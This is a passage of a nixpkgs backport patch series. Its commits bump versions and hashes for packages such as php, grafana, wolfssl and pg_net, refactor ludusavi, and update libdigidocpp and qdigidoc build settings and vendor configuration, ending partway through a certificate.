Date: Sun, 6 Jul 2025 01:28:23 +0200
Subject: [PATCH 3161/4511] floorp: disable LTO

Fixes https://github.com/NixOS/nixpkgs/issues/418473

(cherry picked from commit 87f6213006df821ac218d982d32fcb7cb9cef5e6)
---
 pkgs/applications/networking/browsers/floorp/default.nix | 2 ++
 1 file changed, 2 insertions(+)

diff --git a/pkgs/applications/networking/browsers/floorp/default.nix b/pkgs/applications/networking/browsers/floorp/default.nix
index c4392c792b82..141699f7f7dd 100644
--- a/pkgs/applications/networking/browsers/floorp/default.nix
+++ b/pkgs/applications/networking/browsers/floorp/default.nix
@@ -67,6 +67,8 @@
     webrtcSupport = true;
     enableOfficialBranding = false;
     geolocationSupport = true;
+    # https://github.com/NixOS/nixpkgs/issues/418473
+    ltoSupport = false;
   }
 ).overrideAttrs
   (prev: {

From f43edb8d263bb72be59579be167867e8146fcc94 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Sat, 2 Aug 2025 09:53:03 +0000
Subject: [PATCH 3162/4511] postgresqlPackages.pgsql-http: 1.6.3 -> 1.7.0

(cherry picked from commit 492a3e5b2145db98becd387807a6aed4dcd0a7e2)
---
 pkgs/servers/sql/postgresql/ext/pgsql-http.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/servers/sql/postgresql/ext/pgsql-http.nix b/pkgs/servers/sql/postgresql/ext/pgsql-http.nix
index 6ea4fb13b678..c1ab46736b9f 100644
--- a/pkgs/servers/sql/postgresql/ext/pgsql-http.nix
+++ b/pkgs/servers/sql/postgresql/ext/pgsql-http.nix
@@ -8,13 +8,13 @@
 
 postgresqlBuildExtension (finalAttrs: {
   pname = "pgsql-http";
-  version = "1.6.3";
+  version = "1.7.0";
 
   src = fetchFromGitHub {
     owner = "pramsey";
     repo = "pgsql-http";
     tag = "v${finalAttrs.version}";
-    hash = "sha256-Ij8BaNj2SOwDfjgLxrpLFvvPCzSahXyyckRPGmcqKtE=";
+    hash = "sha256-tgmty8ZYpSEccwQouI/Ho2M495k6DizbMaaJ0+aW03Q=";
   };
 
   buildInputs = [ curl ];

From 19cf815dd4eaa88e178fa705c77efe060a8ae97d Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Sun, 3 Aug 2025 14:42:58 +0000
Subject: [PATCH 3163/4511] php83: 8.3.23 -> 8.3.24

(cherry picked from commit d755301541b6fa8c3a320cbffb6027903aeadb9c)
---
 pkgs/development/interpreters/php/8.3.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/development/interpreters/php/8.3.nix b/pkgs/development/interpreters/php/8.3.nix
index 6f707647e2fe..c041925e7f07 100644
--- a/pkgs/development/interpreters/php/8.3.nix
+++ b/pkgs/development/interpreters/php/8.3.nix
@@ -4,8 +4,8 @@ let
   base = callPackage ./generic.nix (
     _args
     // {
-      version = "8.3.23";
-      hash = "sha256-BUiPe5Z9kKUJMvBnTcNW4beV9SLwKYtc4ktoDeIzwtQ=";
+      version = "8.3.24";
+      hash = "sha256-5OEtpJB0aSRiTJFAa2CzGWfk173qu6uejLU1SITumWQ=";
     }
   );
 in

From a2818d9eb6b5c2907ffff5628c48c7163b0eaa18 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Fri, 1 Aug 2025 11:06:43 +0000
Subject: [PATCH 3164/4511] postgresqlPackages.pg_net: 0.19.3 -> 0.19.4

(cherry picked from commit d242203a661b0e37fa1b41355a3fda95a57f7a33)
---
 pkgs/servers/sql/postgresql/ext/pg_net.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/servers/sql/postgresql/ext/pg_net.nix b/pkgs/servers/sql/postgresql/ext/pg_net.nix
index 9186a6b4efa5..af3745667aec 100644
--- a/pkgs/servers/sql/postgresql/ext/pg_net.nix
+++ b/pkgs/servers/sql/postgresql/ext/pg_net.nix
@@ -8,13 +8,13 @@
 
 postgresqlBuildExtension (finalAttrs: {
   pname = "pg_net";
-  version = "0.19.3";
+  version = "0.19.4";
 
   src = fetchFromGitHub {
     owner = "supabase";
     repo = "pg_net";
     tag = "v${finalAttrs.version}";
-    hash = "sha256-PZYIwkXp1rOzRCDZivJFMuEQBYJaaibUN/WkL+6crSg=";
+    hash = "sha256-uHsfRQ5RKhTvqokF94s/RzTQ23BRTBV+yyIW41Djjgo=";
   };
 
   buildInputs = [ curl ];

From b2e9c3752703f444ee0552b292db9950af0ab483 Mon Sep 17 00:00:00 2001
From: Adrian Pistol <vifino@posteo.net>
Date: Mon, 21 Jul 2025 11:04:11 +0200
Subject: [PATCH 3165/4511] wolfssl: 5.7.6 -> 5.8.2

(cherry picked from commit 6e57a010e1e23e65063f4f6ca82bd97065876818)
---
 pkgs/by-name/wo/wolfssl/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/wo/wolfssl/package.nix b/pkgs/by-name/wo/wolfssl/package.nix
index 417e804d0776..1d698b10f604 100644
--- a/pkgs/by-name/wo/wolfssl/package.nix
+++ b/pkgs/by-name/wo/wolfssl/package.nix
@@ -17,13 +17,13 @@
 }:
 stdenv.mkDerivation (finalAttrs: {
   pname = "wolfssl-${variant}";
-  version = "5.7.6";
+  version = "5.8.2";
 
   src = fetchFromGitHub {
     owner = "wolfSSL";
     repo = "wolfssl";
     tag = "v${finalAttrs.version}-stable";
-    hash = "sha256-q3V2cxk7dBRJoE8EpfWxkYmXPfDzoMwrX1JLazrHOuA=";
+    hash = "sha256-rWBfpI6tdpKvQA/XdazBvU5hzyai5PtKRBpM4iplZDU=";
   };
 
   postPatch = ''

From 307f902122c0d6fd9a843db8916c78e6ee14714c Mon Sep 17 00:00:00 2001
From: Jordan Williams <jordan@jwillikers.com>
Date: Sat, 2 Aug 2025 12:24:27 -0500
Subject: [PATCH 3166/4511] ludusavi: use finalAttrs

Remove with lib.

(cherry picked from commit 2e130ff1a1eb91cca84564fccb680414616a417f)
---
 pkgs/by-name/lu/ludusavi/package.nix | 14 +++++++-------
 1 file changed, 7 insertions(+), 7 deletions(-)

diff --git a/pkgs/by-name/lu/ludusavi/package.nix b/pkgs/by-name/lu/ludusavi/package.nix
index a050d1793416..11953263a193 100644
--- a/pkgs/by-name/lu/ludusavi/package.nix
+++ b/pkgs/by-name/lu/ludusavi/package.nix
@@ -31,14 +31,14 @@
   rclone,
 }:
 
-rustPlatform.buildRustPackage rec {
+rustPlatform.buildRustPackage (finalAttrs: {
   pname = "ludusavi";
   version = "0.29.1";
 
   src = fetchFromGitHub {
     owner = "mtkennerly";
     repo = "ludusavi";
-    tag = "v${version}";
+    tag = "v${finalAttrs.version}";
     hash = "sha256-IApPudo8oD6YkYJkGpowqpaqrsl2/Q2VFyYfYQI3mN0=";
   };
 
@@ -118,15 +118,15 @@ rustPlatform.buildRustPackage rec {
         "''${gappsWrapperArgs[@]}"
     '';
 
-  meta = with lib; {
+  meta = {
     description = "Backup tool for PC game saves";
     homepage = "https://github.com/mtkennerly/ludusavi";
-    changelog = "https://github.com/mtkennerly/ludusavi/blob/v${version}/CHANGELOG.md";
-    license = licenses.mit;
-    maintainers = with maintainers; [
+    changelog = "https://github.com/mtkennerly/ludusavi/blob/v${finalAttrs.version}/CHANGELOG.md";
+    license = lib.licenses.mit;
+    maintainers = with lib.maintainers; [
       pasqui23
       megheaiulian
     ];
     mainProgram = "ludusavi";
   };
-}
+})

From b9e9c8d7c2a38684a824f525496e949882ff91d3 Mon Sep 17 00:00:00 2001
From: Sergei Trofimovich <slyich@gmail.com>
Date: Sun, 3 Aug 2025 14:54:17 +0100
Subject: [PATCH 3167/4511] whois: 5.6.3 -> 5.6.4

Changes: https://github.com/rfc1036/whois/compare/v5.6.3...v5.6.4
(cherry picked from commit edf469d8fd8794e676de9a9b5c149a567d2440f1)
---
 pkgs/by-name/wh/whois/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/wh/whois/package.nix b/pkgs/by-name/wh/whois/package.nix
index d40fd71bc8fc..44d87d25a7b6 100644
--- a/pkgs/by-name/wh/whois/package.nix
+++ b/pkgs/by-name/wh/whois/package.nix
@@ -11,14 +11,14 @@
 }:
 
 stdenv.mkDerivation rec {
-  version = "5.6.3";
+  version = "5.6.4";
   pname = "whois";
 
   src = fetchFromGitHub {
     owner = "rfc1036";
     repo = "whois";
     rev = "v${version}";
-    hash = "sha256-YJAd6s1kq2IJcR7qf7ljntLb5HgsaTH0wsoPKIMxHdg=";
+    hash = "sha256-9c67LrpJu3cW/j1hfNhatB4nkCxMTCfHpszawGtU7ko=";
   };
 
   patches = [

From 9ea312ff1c9ac4649c1b03443ef92a57ab639e2e Mon Sep 17 00:00:00 2001
From: Maximilian Bosch <maximilian@mbosch.me>
Date: Sun, 3 Aug 2025 18:47:53 +0200
Subject: [PATCH 3168/4511] grafana: 12.0.2+security-01 -> 12.0.3

ChangeLog: https://github.com/grafana/grafana/releases/tag/v12.0.3
---
 pkgs/servers/monitoring/grafana/default.nix | 16 ++++++++--------
 1 file changed, 8 insertions(+), 8 deletions(-)

diff --git a/pkgs/servers/monitoring/grafana/default.nix b/pkgs/servers/monitoring/grafana/default.nix
index 978b8a340482..b4ccf77cc9e9 100644
--- a/pkgs/servers/monitoring/grafana/default.nix
+++ b/pkgs/servers/monitoring/grafana/default.nix
@@ -26,21 +26,21 @@ let
   # stable is on an older patch-release of Go and then the build would fail
   # after a backport.
   patchGoVersion = ''
-    find . -name go.mod -not -path "./.bingo/*" -print0 | while IFS= read -r -d ''' line; do
+    find . -name go.mod -not -path "./.bingo/*" -and -not -path "./devenv/*" -and -not -path "./hack/*" -and -not -path "./scripts/*" -print0 | while IFS= read -r -d ''' line; do
       substituteInPlace "$line" \
-        --replace-fail "go 1.24.4" "go 1.24.0"
+        --replace-fail "go 1.24.5" "go 1.24.0"
     done
     find . -name go.work -print0 | while IFS= read -r -d ''' line; do
       substituteInPlace "$line" \
-        --replace-fail "go 1.24.4" "go 1.24.0"
+        --replace-fail "go 1.24.5" "go 1.24.0"
     done
     substituteInPlace Makefile \
-      --replace-fail "GO_VERSION = 1.24.4" "GO_VERSION = 1.24.0"
+      --replace-fail "GO_VERSION = 1.24.5" "GO_VERSION = 1.24.0"
   '';
 in
 buildGoModule rec {
   pname = "grafana";
-  version = "12.0.2+security-01";
+  version = "12.0.3";
 
   subPackages = [
     "pkg/cmd/grafana"
@@ -52,7 +52,7 @@ buildGoModule rec {
     owner = "grafana";
     repo = "grafana";
     rev = "v${version}";
-    hash = "sha256-aMbxBDLikmUBZwfZQPLcCCk8BpMeQ7Pj1li4p28aZ88=";
+    hash = "sha256-OSuezc8hehMyJuo3ldvsDf8tD+KvpUz5+MyzaLnUCGA=";
   };
 
   # borrowed from: https://github.com/NixOS/nixpkgs/blob/d70d9425f49f9aba3c49e2c389fe6d42bac8c5b0/pkgs/development/tools/analysis/snyk/default.nix#L20-L22
@@ -66,14 +66,14 @@ buildGoModule rec {
   missingHashes = ./missing-hashes.json;
   offlineCache = yarn-berry_4.fetchYarnBerryDeps {
     inherit src missingHashes;
-    hash = "sha256-vQdiQyxebtVrO76Pl4oC3DM37owhtQgZqYWaiIyKysQ=";
+    hash = "sha256-ekqvMDEOwEqwrNnkpDqwJilXHr90XvmnbB+8wS3dbvY=";
   };
 
   disallowedRequisites = [ offlineCache ];
 
   postPatch = patchGoVersion;
 
-  vendorHash = "sha256-cJxvZPJmf5YY+IWE7rdoGUkXxDeE6b0troGsdpsQzeU=";
+  vendorHash = "sha256-wF1/buOyD5+lZJF4s1OKpDiWXUFXD6j0pJ9RBFLff7Q=";
 
   proxyVendor = true;
 

From f270dba066b5d1dab4a13309a3ef490639c2e8ea Mon Sep 17 00:00:00 2001
From: Maximilian Bosch <maximilian@mbosch.me>
Date: Sun, 3 Aug 2025 18:08:32 +0200
Subject: [PATCH 3169/4511] php84: 8.4.10 -> 8.4.11

ChangeLog: https://www.php.net/ChangeLog-8.php#8.4.11
(cherry picked from commit de3755ea6a1a9bc422ceb18976a7b585a6d5fe54)
---
 pkgs/development/interpreters/php/8.4.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/development/interpreters/php/8.4.nix b/pkgs/development/interpreters/php/8.4.nix
index 3c0e0cc9640d..1591c2c5aad9 100644
--- a/pkgs/development/interpreters/php/8.4.nix
+++ b/pkgs/development/interpreters/php/8.4.nix
@@ -4,8 +4,8 @@ let
   base = callPackage ./generic.nix (
     _args
     // {
-      version = "8.4.10";
-      hash = "sha256-iBXRBlnN5fA75NFpIF1it7Ke0O3HzdhLY4TNoDEMMQg=";
+      version = "8.4.11";
+      hash = "sha256-LDnHW1TfibARlbcq0O4fzUkMcdsYvFK81h+y/7V7Jvo=";
     }
   );
 in

From e452c19f74538438545498b959197fb8cc598fff Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Fri, 20 Jun 2025 19:32:59 +0000
Subject: [PATCH 3170/4511] libdigidocpp: 4.1.0 -> 4.2.0

(cherry picked from commit 296a1fcc90b127cc16d99fbd55e3896d64db6698)
---
 pkgs/by-name/li/libdigidocpp/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/li/libdigidocpp/package.nix b/pkgs/by-name/li/libdigidocpp/package.nix
index 9788e8c092f8..649e389eef9f 100644
--- a/pkgs/by-name/li/libdigidocpp/package.nix
+++ b/pkgs/by-name/li/libdigidocpp/package.nix
@@ -16,12 +16,12 @@
 }:
 
 stdenv.mkDerivation rec {
-  version = "4.1.0";
+  version = "4.2.0";
   pname = "libdigidocpp";
 
   src = fetchurl {
     url = "https://github.com/open-eid/libdigidocpp/releases/download/v${version}/libdigidocpp-${version}.tar.gz";
-    hash = "sha256-lY7UVAhdWadLUKR21ezUfWc1Xdv/MWhfI/by4btcvr8=";
+    hash = "sha256-d3AqTTVi3lzzu9Tw7p+KilNa0Q7cJBGwb6VoNNLeskE=";
   };
 
   nativeBuildInputs = [

From 41a219dba0b92376843212767f126311e417a240 Mon Sep 17 00:00:00 2001
From: Florian Klink <flokli@flokli.de>
Date: Fri, 1 Aug 2025 22:13:32 +0200
Subject: [PATCH 3171/4511] libdigidocpp: use fetchFromGitHub

(cherry picked from commit 7cd6bf70f73f9c97db4750595f3e02b7dc4308f2)
---
 pkgs/by-name/li/libdigidocpp/package.nix | 10 ++++++----
 1 file changed, 6 insertions(+), 4 deletions(-)

diff --git a/pkgs/by-name/li/libdigidocpp/package.nix b/pkgs/by-name/li/libdigidocpp/package.nix
index 649e389eef9f..ef22c2bfd4dd 100644
--- a/pkgs/by-name/li/libdigidocpp/package.nix
+++ b/pkgs/by-name/li/libdigidocpp/package.nix
@@ -1,7 +1,7 @@
 {
   lib,
   stdenv,
-  fetchurl,
+  fetchFromGitHub,
   cmake,
   libtool,
   libxml2,
@@ -19,9 +19,11 @@ stdenv.mkDerivation rec {
   version = "4.2.0";
   pname = "libdigidocpp";
 
-  src = fetchurl {
-    url = "https://github.com/open-eid/libdigidocpp/releases/download/v${version}/libdigidocpp-${version}.tar.gz";
-    hash = "sha256-d3AqTTVi3lzzu9Tw7p+KilNa0Q7cJBGwb6VoNNLeskE=";
+  src = fetchFromGitHub {
+    owner = "open-eid";
+    repo = "libdigidocpp";
+    tag = "v${version}";
+    hash = "sha256-o/2hF82uRaBDp7I9urn8R6r9YQMkp241M1v92qD66NM=";
   };
 
   nativeBuildInputs = [

From 5162a7df16d5bccbf848d1cd488cbb3d8caf900e Mon Sep 17 00:00:00 2001
From: Florian Klink <flokli@flokli.de>
Date: Fri, 1 Aug 2025 22:24:00 +0200
Subject: [PATCH 3172/4511] libdigidocpp: drop patchelf workaround

It seems sufficient to configure cmake with PKCS11_MODULE, no need to
patchelf anymore.

The path being baked in can be verified by looking at the
`$(nix-build -A libdigidocpp.bin)/bin/digidoc-tool --help` output,
and the default of the `--pkcs11` arg printed there.

(cherry picked from commit a0e73947b25f59f49faddecde6e7528e0d8b76b1)
---
 pkgs/by-name/li/libdigidocpp/package.nix | 11 ++++-------
 1 file changed, 4 insertions(+), 7 deletions(-)

diff --git a/pkgs/by-name/li/libdigidocpp/package.nix b/pkgs/by-name/li/libdigidocpp/package.nix
index ef22c2bfd4dd..e314cd04e524 100644
--- a/pkgs/by-name/li/libdigidocpp/package.nix
+++ b/pkgs/by-name/li/libdigidocpp/package.nix
@@ -49,19 +49,16 @@ stdenv.mkDerivation rec {
     "bin"
   ];
 
+  cmakeFlags = [
+    (lib.cmakeFeature "PKCS11_MODULE" "${lib.getLib opensc}/lib/opensc-pkcs11.so")
+  ];
+
   # This wants to link to ${CMAKE_DL_LIBS} (ltdl), and there doesn't seem to be
   # a way to tell CMake where this should be pulled from.
   # A cleaner fix would probably be to patch cmake to use
   # `-L${libtool.lib}/lib -ltdl` for `CMAKE_DL_LIBS`, but that's a world rebuild.
   env.NIX_LDFLAGS = "-L${libtool.lib}/lib";
 
-  # libdigidocpp.so's `PKCS11Signer::PKCS11Signer()` dlopen()s "opensc-pkcs11.so"
-  # itself, so add OpenSC to its DT_RUNPATH after the fixupPhase shrinked it.
-  # https://github.com/open-eid/cmake/pull/35 might be an alternative.
-  postFixup = ''
-    patchelf --add-rpath ${opensc}/lib/pkcs11 $lib/lib/libdigidocpp.so
-  '';
-
   meta = with lib; {
     description = "Library for creating DigiDoc signature files";
     mainProgram = "digidoc-tool";

From b53978464eba15376a1d728bc12b9f8e9b272415 Mon Sep 17 00:00:00 2001
From: Florian Klink <flokli@flokli.de>
Date: Fri, 1 Aug 2025 22:08:49 +0200
Subject: [PATCH 3173/4511] libdigidocpp: fix INTERFACE_INCLUDE_DIRECTORIES
 path in cmake file

This is used by qdigidoc 4.8.0 and points to the lib output, but needs
to point to the dev output.

(cherry picked from commit ac6331ad51badd1e8922618347c1f96b1fdf2368)
---
 pkgs/by-name/li/libdigidocpp/package.nix | 7 +++++++
 1 file changed, 7 insertions(+)

diff --git a/pkgs/by-name/li/libdigidocpp/package.nix b/pkgs/by-name/li/libdigidocpp/package.nix
index e314cd04e524..c48e82aff3ad 100644
--- a/pkgs/by-name/li/libdigidocpp/package.nix
+++ b/pkgs/by-name/li/libdigidocpp/package.nix
@@ -59,6 +59,13 @@ stdenv.mkDerivation rec {
   # `-L${libtool.lib}/lib -ltdl` for `CMAKE_DL_LIBS`, but that's a world rebuild.
   env.NIX_LDFLAGS = "-L${libtool.lib}/lib";
 
+  # Prevent cmake from creating a file that sets INTERFACE_INCLUDE_DIRECTORIES to the wrong location,
+  # causing downstream build failures.
+  postFixup = ''
+    sed '/^  INTERFACE_INCLUDE_DIRECTORIES/s|"[^"]*/include"|"${placeholder "dev"}/include"|' \
+      -i "$dev"/lib/cmake/libdigidocpp/libdigidocpp-config.cmake
+  '';
+
   meta = with lib; {
     description = "Library for creating DigiDoc signature files";
     mainProgram = "digidoc-tool";

From 80e5bedba028506dc75e18d969b3c075ca3f097c Mon Sep 17 00:00:00 2001
From: Florian Klink <flokli@flokli.de>
Date: Fri, 1 Aug 2025 21:37:00 +0200
Subject: [PATCH 3174/4511] qdigidoc: 4.7.0 -> 4.8.0

This switches to Qt6.

Changelog: https://github.com/open-eid/DigiDoc4-Client/releases/tag/v4.8.0

Also, update TSL.

(cherry picked from commit 5989fab4816635f02e7c73ddc5eedcac71bd6260)
---
 pkgs/tools/security/qdigidoc/default.nix      |  28 +--
 .../security/qdigidoc/vendor/config.json      |  16 +-
 .../tools/security/qdigidoc/vendor/config.rsa |  10 +-
 .../security/qdigidoc/vendor/eu-lotl.xml      | 221 +++++++-----------
 pkgs/top-level/all-packages.nix               |   2 +-
 5 files changed, 112 insertions(+), 165 deletions(-)

diff --git a/pkgs/tools/security/qdigidoc/default.nix b/pkgs/tools/security/qdigidoc/default.nix
index c1d9df16d312..67d1f21b5dce 100644
--- a/pkgs/tools/security/qdigidoc/default.nix
+++ b/pkgs/tools/security/qdigidoc/default.nix
@@ -1,7 +1,7 @@
 {
   lib,
-  mkDerivation,
-  fetchurl,
+  stdenv,
+  fetchFromGitHub,
   cmake,
   flatbuffers,
   gettext,
@@ -11,25 +11,27 @@
   openldap,
   openssl,
   pcsclite,
-  qtbase,
-  qtsvg,
-  qttools,
+  qt6,
 }:
 
-mkDerivation rec {
+stdenv.mkDerivation rec {
   pname = "qdigidoc";
-  version = "4.7.0";
+  version = "4.8.0";
 
-  src = fetchurl {
-    url = "https://github.com/open-eid/DigiDoc4-Client/releases/download/v${version}/qdigidoc4-${version}.tar.gz";
-    hash = "sha256-XP7KqhIYriHQzQrw77zUp/I9nnh9EqK0m9+N+69Lh5c=";
+  src = fetchFromGitHub {
+    owner = "open-eid";
+    repo = "DigiDoc4-Client";
+    tag = "v${version}";
+    hash = "sha256-3irEJnVzbmJbznyTIkDMw5t0SfegpCi51rQ0UxFXzBY=";
+    fetchSubmodules = true;
   };
 
   nativeBuildInputs = [
     cmake
     gettext
     pkg-config
-    qttools
+    qt6.qttools
+    qt6.wrapQtAppsHook
   ];
 
   buildInputs = [
@@ -39,8 +41,8 @@ mkDerivation rec {
     openldap
     openssl
     pcsclite
-    qtbase
-    qtsvg
+    qt6.qtbase
+    qt6.qtsvg
   ];
 
   # qdigidoc needs a (somewhat recent) config, as well as a TSL list for signing to work.
diff --git a/pkgs/tools/security/qdigidoc/vendor/config.json b/pkgs/tools/security/qdigidoc/vendor/config.json
index 136a53e68a53..09857ce2a26d 100644
--- a/pkgs/tools/security/qdigidoc/vendor/config.json
+++ b/pkgs/tools/security/qdigidoc/vendor/config.json
@@ -1,9 +1,9 @@
 {
   "META-INF": {
     "VER": 1,
-    "SERIAL": 186,
+    "SERIAL": 188,
     "URL": "https://id.eesti.ee/config.json",
-    "DATE": "20250321070515Z"
+    "DATE": "20250722064215Z"
   },
   "TSL-URL": "https://ec.europa.eu/tools/lotl/eu-lotl.xml",
   "TSL-CERTS": [
@@ -45,14 +45,14 @@
   "QDIGIDOC-SUPPORTED": "4.0.0.23",
   "QDIGIDOC-LATEST": "3.13.6.1525",
   "QDIGIDOC4-SUPPORTED": "4.5.0.0",
-  "QDIGIDOC4-LATEST": "4.7.0.0",
+  "QDIGIDOC4-LATEST": "4.8.0.0",
   "QESTEIDUTIL-SUPPORTED": "4.0.0.23",
   "QESTEIDUTIL-LATEST": "3.12.10.1265",
-  "WIN-LATEST": "24.12.0.8373",
-  "WIN-DOWNLOAD": "https://installer.id.ee/media/win/Open-EID-24.12.0.8373.exe",
+  "WIN-LATEST": "25.6.9.8395",
+  "WIN-DOWNLOAD": "https://installer.id.ee/media/win/Open-EID-25.6.9.8395.exe",
   "WIN-UPGRADECODE": "{f1c4d351-269d-4bee-8cdb-6ea70c968875}",
-  "OSX-LATEST": "24.9.0.1949",
-  "OSX-DOWNLOAD": "https://installer.id.ee/media/osx/Open-EID_24.9.0.1949.dmg",
+  "OSX-LATEST": "25.5.0.1954",
+  "OSX-DOWNLOAD": "https://installer.id.ee/media/osx/Open-EID_25.5.0.1954.dmg",
   "CERT-BUNDLE": [
     "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